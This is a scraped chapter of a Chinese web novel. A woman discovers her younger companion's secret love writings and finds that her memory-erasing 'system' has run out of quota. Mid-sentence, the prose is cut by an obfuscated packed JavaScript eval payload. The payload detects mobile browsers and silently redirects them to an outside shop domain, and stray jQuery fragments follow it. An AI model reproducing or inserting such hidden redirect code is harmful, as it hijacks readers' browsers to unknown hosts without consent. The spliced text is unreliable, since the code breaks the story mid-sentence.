自己想看看这个属于慕语的私人天地,能不能找出半分越界的痕迹。
是否真如万斯所说的那样,他对她的心思不简单。
迟疑只转瞬即逝。
董千玖抬手握住微凉的门把上,指尖轻转,门锁轻微“咔哒”一声轻响。
紧闭的房门,应声而开。
一股清浅干净的冷松香气扑面而来,是属于慕语独有的气息。
房间整洁得过分,一如他这个人克制规整。
落地窗敞开着薄纱窗帘,午后柔光漫进来,落在一尘不染的地板上,安静得近乎寂寥。
董千玖放轻脚步走进去,下意识放软了呼吸。
原本只是随意一瞥,想寻出一丝半点异样,好推翻万斯的话,证明一切只是旁人无端揣测。
可目光缓缓扫过房间,心底的笃定一点点松动。
书桌上堆叠着规整的课本与习题,还有一台电脑。桌面干净得找不出任何私人物件,唯独桌角最显眼的位置,安放着一张相框。
是很久以前两人的合照。
他年纪尚小,身形青涩单薄,乖乖站在她身侧,眉眼温柔低垂,整张画面的目光,完完全全落在身旁的她身上。
不是看向镜头。
是看向她。
从前她只当是拍照时的无意角度,此刻细看,那眼底的炙热,藏着远超孩童依赖的认真。
董千玖指尖微顿,心头轻轻一沉,移开视线,继续打量。
目光落在静默待机的电脑上,鬼使神差般,她缓步走了过去。
屏幕漆黑,锁住界面,需要密码解锁。
她坐在椅子上,垂眸看着屏幕,心底莫名冒出一个荒唐又笃定的念头。
指尖悬在键盘上,迟疑一瞬,终究轻轻敲下了自己的生日。
指尖落下的刹那,锁屏瞬间解开。
没有丝毫偏差,一次即中。
她呼吸猛地滞了半拍,从未想过他电脑的密码,真是自己的生日。
视线抬落,桌面背景更是让她浑身一僵。
屏幕上的一张高清照片,占据了整个页面。
照片是偷拍的她。
是某个午后,她坐在窗边低头看书的侧影。
心头的震颤层层堆叠而上,还未等她平复视线,桌面角落一个单独命名的文档,猝不及防闯入眼底。
简简单单两个字,刺眼得很——姐姐。
专属的命名,私密的存档,藏在无人知晓的角落。
董千玖指尖微颤,迟疑良久,最终还是点开了文档。
文档被拉得很长,密密麻麻的文字铺满整屏。
没有细碎日常,没有心绪记录,通篇全是滚烫缱绻、暧昧越界的情话。
字字句句褪去了平日里乖巧温顺的伪装,抛开了弟弟该有的本分,缠绵偏执,满是藏不住的痴心与占有。
─我好想拥有你,想独占你,想打破所有身份和界限。
─假装乖巧太久,假装安分太久,藏在心底的爱意早就泛滥成灾,快要藏不住了。
—我不甘只做你的弟弟,好贪恋你的体温,痴迷你的眉眼,想要贴近你,拥着你沉溺一生。
—夜里无数次疯狂念想,想把你紧紧拥入怀中,霸占你的所有温柔,挣脱身份枷锁,独独将你私有。
—压抑的爱意日夜折磨着我,早已深陷无法自拔,只想永远依偎在你身边,独享你所有的温柔与纵容。
……
一句句不堪入目的情话,滚烫炽热,大胆越界。
这些文字看得她瞳孔微震,浑身的血液仿佛瞬间凝滞。
耳根不受控制的灼烧发烫,顺着耳尖蔓延至脸颊,是遮掩不住的燥热。
她从未想过,平日里温顺乖巧的慕语,私下里竟然会写下这样出格的内容。
哪里是姐弟依赖。
分明是蓄谋已久、隐忍数年的暗恋。
太疯狂了。
也太颠覆了。
方才在会议室里,她还固执反驳万斯,一遍遍自我说服是旁观者多虑,自欺欺人。
可此刻,铁证历历在目。
所有伪装被彻底撕碎,所有侥幸尽数落空。
董千玖眸光微微涣散,慢慢抬手,指尖悬在鼠标上,不敢再滑动页面往下看。
仓促关掉文档,指尖慌乱地合上电脑,像是想要隔绝这颠覆一切的真相。
房间里静悄悄的,只剩下她略显急促的呼吸声。
董千玖抬手按了按太阳穴,强迫自己冷静下来。
可电脑里那些大胆炽热的文字,如同烙印一般刻在脑海里,挥之不去。
许久,她深吸一口气,下意识整理好电脑,将一切恢复成原本的模样,仿佛自己从未来过这间屋子,从未窥探到他的秘密。
走回自己的卧室,董千玖瘫坐在沙发上,整个人失了往日的冷静沉稳。
一想到再过不久,慕语就会放学回到别墅,像往常一样笑着喊她姐姐,她就莫名手足无措,甚至隐隐生出一丝躲避与慌乱。
不知道该装作毫不知情继续维持姐弟关系,还是该戳破这层窗户纸,彻底斩断这份错位的感情。
唯一能想到的办法,依旧是她多年来最惯用的逃避方式。
董千玖眸光一沉,在心底无声默念,唤醒了沉寂的系统。
“03号,立刻启动删除记忆功能,抹除慕语关于我的所有记忆,抹去他对我所有逾越的感情。”
她只想回到从前平静安稳的模样,让一切回归正常,不用再面对这般难堪的局面。
可这一次,熟悉的机械提示音迟迟没有响起,取而代之的是冰冷的拒绝。
【本次记忆清除指令,驳回,不予执行。】
董千玖脸色微变,满心错愕,这是系统第一次违背她的命令。
下一秒,半透明的蓝色虚拟面板骤然浮现在眼前,密密麻麻罗列着她过往所有动用删除记忆的记录。
【温馨提示:宿主所持记忆清除权限有限,终身基础名额仅二十位。】
【检测完毕:您已用尽全部名额,权限额度已满,无剩余清除资格。】
这句话像一盆冰水,狠狠浇在她的心头。
二十个名额,这么快就用尽了…
非得卡在这个关头上…
巨大的慌乱瞬间席卷而来,顾不上心底的错愕,董千玖几乎是立刻急声催促,语气带着难得的急躁:“立刻提交申请,帮我增加删除记忆的名额。”
眼下只能尽快新增名额,她必须抹掉慕语的执念,不能陷入这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581927|203517||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扭曲的关系里。
【收到名额增量申请,请宿主稍等!】
【后台排队人数过多,增量申请订单拥堵爆满。】
【暂无加急通道,请宿主耐心排队等候,具体审批通过时间,未知。】
未知。
两个字,彻底封死了她所有的退路。
心口骤然沉到谷底,指尖冰凉发颤。
她根本等不起。
“还有没有别的办法?”
【宿主可启用记忆恢复功能,为所有曾被抹除部分记忆的对象恢复完整记忆。每恢复一个,对应宿主的记忆清除名额将自动空置。】
【恢复完毕后,宿主依旧能够正常使用记忆清除功能,权限不会受到任何影响。】
听完,董千玖只觉得脑袋一阵发疼,揉着发胀的眉心,满脸无奈又抵触。
删掉那些人的记忆,本就是为了彻底摆脱那群死缠烂打的追求者。
若是真把他们的记忆恢复,那些人依旧会像从前一样围着她纠缠不休,死咬着不肯放手。
而她所谓“空出来的删除名额”,唯一用处,就是再把这群人删一遍。
绕来绕去,就是一个无解的死循环。
【恢复记忆为唯一解锁名额方式,无其他替代方案。】
她算是彻底明白了。
怎么选,都是难受。
“行,那就等名额增量申请获批后,再删除慕语的记忆。”
董千玖别无选择,只能暂时妥协,等时机一到,就能解脱了。
*
入夜,晚风掠过层层绿植,簌簌声响衬得整栋别墅愈发寂静幽深。
司机开着黑色轿车缓缓停进地下车库,熄灭了所有光源。
片刻后,慕语从车中走出,随意拎着肩上的书包,乘坐电梯上楼。
坐在沙发上的董千玖听到电梯声响,就知道肯定是他回来了。
心跳毫无预兆地骤然失序,砰砰的声响清晰可闻,撞得她心绪大乱。
几乎是在电梯门开的瞬间,她闪身走进了卧室,反手锁上房门。
慕语换了鞋,缓步走过来,抬眼扫过空荡荡的客厅,眼眸微微一顿。
空气中似乎还残留着她身上淡淡的气息,沙发边角微微凹陷,还留存着有人久坐的痕迹。
姐姐在家?
没多想,他随手将书包放在沙发上,走到她的卧室门前,轻轻叩了叩门。
笃、笃。
两声轻响,低沉清冽,穿透厚重的门。
屋内的董千玖浑身一僵,屏住所有呼吸,不敢应声,只想就这样假装屋里空无一人。
“姐?”
她不知道自己在躲什么,但就是不想面对他。
几秒死寂的沉默,落在门外慕语耳中,屋里似乎没人在。
可客厅未散的浅淡香气、沙发上未曾平复的压痕,所有细微的痕迹都在告诉他,姐就是在家。
他没有立刻离开,依旧站在原地,掏出手机拨打了她的电话。
清亮的手机铃声瞬间刺破卧室凝滞的死寂,清晰得无处可藏。
屏幕亮起刺眼的光,来电备注那声直白又亲昵的“阿语”,晃得她心口发慌。
铃声固执地响着,一遍又一遍,不肯停歇。